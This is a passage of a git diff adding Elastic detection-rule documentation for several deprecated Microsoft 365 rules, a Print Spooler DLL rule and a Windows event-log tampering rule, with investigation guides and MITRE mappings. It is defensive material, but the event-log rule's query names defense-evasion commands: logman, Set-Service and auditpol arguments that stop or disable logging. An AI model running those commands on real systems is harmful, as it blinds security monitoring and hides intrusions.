affected files from secure backups, ensuring that the backups are clean and free from ransomware. +- Review and update access controls and permissions for the affected user and related accounts to minimize the risk of future incidents. +- Escalate the incident to senior security management and, if necessary, involve legal or compliance teams to assess any regulatory implications. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and + event.provider:SecurityComplianceCenter and + event.category:web and + rule.name:("Ransomware activity" or "Potential ransomware activity") and + event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-unusual-volume-of-file-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-unusual-volume-of-file-deletion.asciidoc new file mode 100644 index 0000000000..afa7c88654 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-unusual-volume-of-file-deletion.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-21-deprecated-m365-security-compliance-unusual-volume-of-file-deletion]] +=== Deprecated - M365 Security Compliance Unusual Volume of File Deletion + +Identifies that a user has deleted an unusually large volume of files as reported by Microsoft Cloud App Security. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy +* https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - M365 Security Compliance Unusual Volume of File Deletion* + + +Microsoft 365's cloud environment facilitates file storage and collaboration, but its vast data handling capabilities can be exploited by adversaries for data destruction. Attackers may delete large volumes of files to disrupt operations or cover their tracks. The detection rule leverages audit logs to identify anomalies in file deletion activities, flagging successful, unusual deletion volumes as potential security incidents, thus enabling timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific user associated with the alert to confirm the volume and context of the file deletions, focusing on entries with event.action:"Unusual volume of file deletion" and event.outcome:success. +- Correlate the timestamps of the deletion events with other activities in the user's account to identify any suspicious patterns or anomalies, such as unusual login locations or times. +- Check for any recent changes in user permissions or roles that might explain the ability to delete a large volume of files, ensuring these align with the user's typical responsibilities. +- Investigate any recent security alerts or incidents involving the same user or related accounts to determine if this activity is part of a broader attack or compromise. +- Contact the user or their manager to verify if the deletions were intentional and authorized, and gather any additional context that might explain the activity. +- Assess the impact of the deletions on business operations and data integrity, and determine if any recovery actions are necessary to restore critical files. + + +*False positive analysis* + + +- High-volume legitimate deletions during data migration or cleanup projects can trigger false positives. To manage this, create exceptions for users or groups involved in these activities during the specified time frame. +- Automated processes or scripts that perform bulk deletions as part of routine maintenance may be flagged. Identify these processes and whitelist them to prevent unnecessary alerts. +- Users with roles in data management or IT support may regularly delete large volumes of files as part of their job responsibilities. Establish a baseline for these users and adjust the detection thresholds accordingly. +- Temporary spikes in file deletions due to organizational changes, such as department restructuring, can be mistaken for malicious activity. Monitor these events and temporarily adjust the rule parameters to accommodate expected changes. +- Regularly review and update the list of exceptions to ensure that only legitimate activities are excluded from alerts, maintaining the effectiveness of the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further unauthorized file deletions. This can be done by disabling the account or changing the password. +- Review the audit logs to identify the scope of the deletion and determine if any critical or sensitive files were affected. Restore these files from backups if available. +- Conduct a thorough review of the affected user's recent activities to identify any other suspicious actions or potential indicators of compromise. +- Escalate the incident to the security operations team for further investigation and to determine if the deletion is part of a larger attack or breach. +- Implement additional monitoring on the affected account and similar high-risk accounts to detect any further unusual activities. +- Review and update access controls and permissions to ensure that users have the minimum necessary access to perform their job functions, reducing the risk of large-scale deletions. +- Coordinate with the IT and security teams to conduct a post-incident review, identifying any gaps in the response process and implementing improvements to prevent recurrence. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:SecurityComplianceCenter and event.category:web and event.action:"Unusual volume of file deletion" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-user-restricted-from-sending-email.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-user-restricted-from-sending-email.asciidoc new file mode 100644 index 0000000000..8e2bc808f2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-security-compliance-user-restricted-from-sending-email.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-21-deprecated-m365-security-compliance-user-restricted-from-sending-email]] +=== Deprecated - M365 Security Compliance User Restricted from Sending Email + +Identifies when a user has been restricted from sending email due to exceeding sending limits of the service policies per the Security Compliance Center. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy +* https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - M365 Security Compliance User Restricted from Sending Email* + + +Microsoft 365 enforces email sending limits to prevent abuse and ensure service integrity. Adversaries may exploit compromised accounts to send spam or phishing emails, triggering these limits. The detection rule monitors audit logs for successful restrictions by the Security Compliance Center, indicating potential misuse of valid accounts, aligning with MITRE ATT&CK's Initial Access tactic. + + +*Possible investigation steps* + + +- Review the audit logs in Microsoft 365 to confirm the event details, focusing on entries with event.dataset:o365.audit and event.provider:SecurityComplianceCenter to ensure the restriction was logged correctly. +- Identify the user account that was restricted by examining the event.action:"User restricted from sending email" and event.outcome:success fields to understand which account triggered the alert. +- Investigate the recent email activity of the restricted user account to determine if there was any unusual or suspicious behavior, such as a high volume of outbound emails or patterns consistent with spam or phishing. +- Check for any recent changes in account permissions or configurations that might indicate unauthorized access or compromise, aligning with the MITRE ATT&CK technique T1078 for Valid Accounts. +- Assess whether there are any other related alerts or incidents involving the same user or similar patterns, which could indicate a broader security issue or coordinated attack. + + +*False positive analysis* + + +- High-volume legitimate email campaigns by marketing or communication teams can trigger sending limits. Coordinate with these teams to understand their schedules and create exceptions for known campaigns. +- Automated systems or applications using Microsoft 365 accounts for sending notifications or alerts may exceed limits. Identify these accounts and consider using service accounts with appropriate permissions and limits. +- Users with delegated access to multiple mailboxes might inadvertently trigger restrictions. Review and adjust permissions or create exceptions for these users if their activity is verified as legitimate. +- Temporary spikes in email activity due to business needs, such as end-of-quarter communications, can cause false positives. Monitor these periods and adjust thresholds or create temporary exceptions as needed. +- Misconfigured email clients or scripts that repeatedly attempt to send emails can appear as suspicious activity. Ensure proper configuration and monitor for any unusual patterns that may need exceptions. + + +*Response and remediation* + + +- Immediately disable the compromised user account to prevent further unauthorized email activity and potential spread of phishing or spam. +- Conduct a password reset for the affected account and enforce multi-factor authentication (MFA) to enhance security and prevent future unauthorized access. +- Review the audit logs for any additional suspicious activities associated with the compromised account, such as unusual login locations or times, and investigate any anomalies. +- Notify the affected user and relevant stakeholders about the incident, providing guidance on recognizing phishing attempts and securing their accounts. +- Escalate the incident to the security operations team for further analysis and to determine if other accounts or systems have been compromised. +- Implement additional email filtering rules to block similar phishing or spam patterns identified in the incident to prevent recurrence. +- Update and enhance detection rules and monitoring to quickly identify and respond to similar threats in the future, leveraging insights from the current incident. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:SecurityComplianceCenter and event.category:web and event.action:"User restricted from sending email" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-teams-external-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-teams-external-access-enabled.asciidoc new file mode 100644 index 0000000000..93a1298c9f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-teams-external-access-enabled.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-deprecated-m365-teams-external-access-enabled]] +=== Deprecated - M365 Teams External Access Enabled + +Identifies when external access is enabled in Microsoft Teams. External access lets Teams and Skype for Business users communicate with other users that are outside their organization. An adversary may enable external access or add an allowed domain to exfiltrate data or maintain persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/microsoftteams/manage-external-access + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - M365 Teams External Access Enabled* + + +Microsoft Teams' external access feature allows users to communicate with individuals outside their organization, facilitating collaboration. However, adversaries can exploit this by enabling external access or adding trusted domains to exfiltrate data or maintain persistence. The detection rule monitors audit logs for changes in federation settings, specifically when external access is successfully enabled, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Set-CsTenantFederationConfiguration" to identify when and by whom the external access was enabled. +- Examine the o365.audit.Parameters.AllowFederatedUsers field to confirm that it is set to True, indicating that external access was indeed enabled. +- Investigate the user account associated with the event to determine if the action was authorized and if the account has a history of suspicious activity. +- Check the event.provider field to see if the change was made through SkypeForBusiness or MicrosoftTeams, which may provide additional context on the method used. +- Assess the event.outcome field to ensure the action was successful and not a failed attempt, which could indicate a potential security threat. +- Look into any recent changes in the list of allowed domains to identify if any unauthorized or suspicious domains have been added. + + +*False positive analysis* + + +- Routine administrative changes to federation settings can trigger alerts. Regularly review and document these changes to differentiate between legitimate and suspicious activities. +- Organizations with frequent collaboration with external partners may see increased alerts. Consider creating exceptions for known trusted domains to reduce noise. +- Scheduled updates or policy changes by IT teams might enable external access temporarily. Coordinate with IT to log these activities and exclude them from triggering alerts. +- Automated scripts or tools used for configuration management can inadvertently enable external access. Ensure these tools are properly documented and monitored to prevent false positives. +- Changes made during mergers or acquisitions can appear suspicious. Maintain a record of such events and adjust monitoring rules accordingly to account for expected changes. + + +*Response and remediation* + + +- Immediately disable external access in Microsoft Teams to prevent further unauthorized communication with external domains. +- Review and remove any unauthorized or suspicious domains added to the allowed list in the Teams federation settings. +- Conduct a thorough audit of recent changes in the Teams configuration to identify any other unauthorized modifications or suspicious activities. +- Reset credentials and enforce multi-factor authentication for accounts involved in the configuration change to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of data exfiltration or if the scope of the breach is unclear. +- Implement enhanced monitoring and alerting for changes in Teams federation settings to detect similar threats in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:(SkypeForBusiness or MicrosoftTeams) and +event.category:web and event.action:"Set-CsTenantFederationConfiguration" and +o365.audit.Parameters.AllowFederatedUsers:True and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-teams-guest-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-teams-guest-access-enabled.asciidoc new file mode 100644 index 0000000000..4eb09413c8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-m365-teams-guest-access-enabled.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-deprecated-m365-teams-guest-access-enabled]] +=== Deprecated - M365 Teams Guest Access Enabled + +Identifies when guest access is enabled in Microsoft Teams. Guest access in Teams allows people outside the organization to access teams and channels. An adversary may enable guest access to maintain persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/skype/get-csteamsclientconfiguration?view=skype-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - M365 Teams Guest Access Enabled* + + +Microsoft Teams allows organizations to collaborate with external users through guest access, facilitating communication and teamwork. However, adversaries can exploit this feature to gain persistent access to sensitive environments by enabling guest access without authorization. The detection rule monitors audit logs for specific configurations that indicate guest access has been enabled, helping identify unauthorized changes and potential security breaches. + + +*Possible investigation steps* + + +- Review the audit logs to confirm the event.action "Set-CsTeamsClientConfiguration" was successfully executed with the parameter o365.audit.Parameters.AllowGuestUser set to True. +- Identify the user account responsible for enabling guest access by examining the event logs for the user ID or account name associated with the action. +- Check the user's activity history to determine if there are any other suspicious actions or patterns, such as changes to other configurations or unusual login times. +- Investigate the context of the change by reviewing any related communications or requests that might justify enabling guest access, ensuring it aligns with organizational policies. +- Assess the potential impact by identifying which teams and channels now have guest access enabled and evaluate the sensitivity of the information accessible to external users. +- Contact the user or their manager to verify if the change was authorized and necessary, and document their response for future reference. + + +*False positive analysis* + + +- Legitimate collaboration with external partners may trigger alerts when guest access is enabled for business purposes. To manage this, create exceptions for known and approved external domains or specific projects that require guest access. +- Routine administrative actions by IT staff to enable guest access for specific teams or channels can be mistaken for unauthorized changes. Implement a process to log and approve such changes internally, and exclude these from triggering alerts. +- Automated scripts or third-party applications that configure Teams settings, including guest access, might cause false positives. Identify and whitelist these scripts or applications to prevent unnecessary alerts. +- Changes made during scheduled maintenance windows can be misinterpreted as unauthorized. Define and exclude these time periods from monitoring to reduce false positives. + + +*Response and remediation* + + +- Immediately disable guest access in Microsoft Teams by updating the Teams client configuration to prevent unauthorized external access. +- Conduct a thorough review of recent audit logs to identify any unauthorized changes or suspicious activities related to guest access settings. +- Notify the security team and relevant stakeholders about the potential breach to ensure awareness and initiate further investigation. +- Revoke any unauthorized guest accounts that have been added to Teams to eliminate potential persistence mechanisms. +- Implement additional monitoring on Teams configurations to detect any future unauthorized changes to guest access settings. +- Escalate the incident to the organization's incident response team for a comprehensive investigation and to determine if further containment actions are necessary. +- Review and update access control policies to ensure that enabling guest access requires appropriate authorization and oversight. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:(SkypeForBusiness or MicrosoftTeams) and +event.category:web and event.action:"Set-CsTeamsClientConfiguration" and +o365.audit.Parameters.AllowGuestUser:True and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-suspicious-printspooler-service-executable-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-suspicious-printspooler-service-executable-file-creation.asciidoc new file mode 100644 index 0000000000..45d477b5d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-deprecated-suspicious-printspooler-service-executable-file-creation.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-deprecated-suspicious-printspooler-service-executable-file-creation]] +=== Deprecated - Suspicious PrintSpooler Service Executable File Creation + +Detects attempts to exploit privilege escalation vulnerabilities related to the Print Spooler service. For more information refer to the following CVE's - CVE-2020-1048, CVE-2020-1337 and CVE-2020-1300 and verify that the impacted system is patched. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/ +* https://www.thezdi.com/blog/2020/7/8/cve-2020-1300-remote-code-execution-through-microsoft-windows-cab-files + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Deprecated - Suspicious PrintSpooler Service Executable File Creation* + + +The Print Spooler service in Windows manages print jobs, but vulnerabilities like CVE-2020-1048 can be exploited for privilege escalation. Adversaries may create malicious DLL files executed by the spooler to gain elevated privileges. The detection rule identifies such threats by monitoring file creation events linked to the spooler process, focusing on DLL files, which are common vectors for exploitation. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of a file creation event with the extension "dll" associated with the "spoolsv.exe" process on a Windows host. +- Check the file path and name of the created DLL to determine if it matches known malicious patterns or locations typically used for exploitation. +- Investigate the source of the spoolsv.exe process by examining the parent process and any associated user accounts to identify potential unauthorized access or activity. +- Analyze recent system logs and security events for any other suspicious activities or anomalies around the time of the DLL creation, such as unexpected user logins or privilege changes. +- Verify the patch status of the affected system against the vulnerabilities CVE-2020-1048, CVE-2020-1337, and CVE-2020-1300 to ensure it is up to date and not susceptible to known exploits. +- If the DLL is confirmed to be malicious, isolate the affected system to prevent further exploitation and begin remediation efforts, including removing the malicious file and any associated threats. + + +*False positive analysis* + + +- Legitimate DLL updates by trusted software can trigger the rule. Users should verify the source of the DLL and, if confirmed safe, add the software's update process to an exception list. +- System maintenance activities, such as Windows updates, may create DLLs that match the rule's criteria. Users can exclude these activities by identifying the associated update processes and adding them to the exception list. +- Custom in-house applications that interact with the Print Spooler service might generate DLLs during normal operation. Users should validate these applications and exclude their file creation events if they are deemed non-threatening. +- Security software or monitoring tools that interact with the Print Spooler service could inadvertently create DLLs. Users should confirm the legitimacy of these tools and configure exceptions for their operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate the spoolsv.exe process if it is confirmed to be executing a malicious DLL, to halt any ongoing malicious activity. +- Remove the malicious DLL file from the system to prevent re-execution and further exploitation. +- Apply the latest security patches and updates to the affected system, specifically addressing CVE-2020-1048, CVE-2020-1337, and CVE-2020-1300, to close the vulnerabilities exploited by the adversary. +- Conduct a thorough review of user accounts and privileges on the affected system to ensure no unauthorized privilege escalation has occurred. +- Monitor the network for any signs of similar exploitation attempts or related suspicious activity, using enhanced logging and alerting mechanisms. +- Report the incident to the appropriate internal security team or external authorities if required, providing details of the exploit and actions taken for further investigation and response. + +==== Rule query + + +[source, js] +---------------------------------- +event.category : "file" and host.os.type : "windows" and event.type : "creation" and + process.name : "spoolsv.exe" and file.extension : "dll" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disable-windows-event-and-security-logs-using-built-in-tools.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disable-windows-event-and-security-logs-using-built-in-tools.asciidoc new file mode 100644 index 0000000000..f91e2d831d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disable-windows-event-and-security-logs-using-built-in-tools.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-21-disable-windows-event-and-security-logs-using-built-in-tools]] +=== Disable Windows Event and Security Logs Using Built-in Tools + +Identifies attempts to disable EventLog via the logman Windows utility, PowerShell, or auditpol. This is often done by attackers in an attempt to evade detection on a system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/logman +* https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 319 + +*Rule authors*: + +* Elastic +* Ivan Ninichuck +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disable Windows Event and Security Logs Using Built-in Tools* + + +Windows event logs are a fundamental data source for security monitoring, forensics, and incident response. Adversaries can tamper, clear, and delete this data to break SIEM detections, cover their tracks, and slow down incident response. + +This rule looks for the usage of different utilities to disable the EventLog service or specific event logs. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Investigate the event logs prior to the action for suspicious behaviors that an attacker may be trying to cover up. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Re-enable affected logging components, services, and security monitoring. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + ( + (process.name:"logman.exe" or ?process.pe.original_file_name == "Logman.exe") and + process.args : "EventLog-*" and process.args : ("stop", "delete") + ) or + ( + ( + process.name : ("pwsh.exe", "powershell.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + process.args : "Set-Service" and process.args: "EventLog" and process.args : "Disabled" + ) or + ( + (process.name:"auditpol.exe" or ?process.pe.original_file_name == "AUDITPOL.EXE") and process.args : "/success:disable" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Windows Event Logs +** ID: T1070.001 +** Reference URL: https://attack.mitre.org/techniques/T1070/001/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable Windows Event Logging +** ID: T1562.002 +** Reference URL: https://attack.mitre.org/techniques/T1562/002/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disable-windows-firewall-rules-via-netsh.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disable-windows-firewall-rules-via-netsh.asciidoc new file mode 100644 index 0000000000..288f8e7925 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-disable-windows-firewall-rules-via-netsh.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-21-disable-windows-firewall-rules-via-netsh]] +=== Disable Windows Firewall Rules via Netsh + +Identifies use of the netsh.exe to disable or weaken the local firewall. Attackers will use this command line tool to disable the firewall during troubleshooting or to enable network mobility. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + 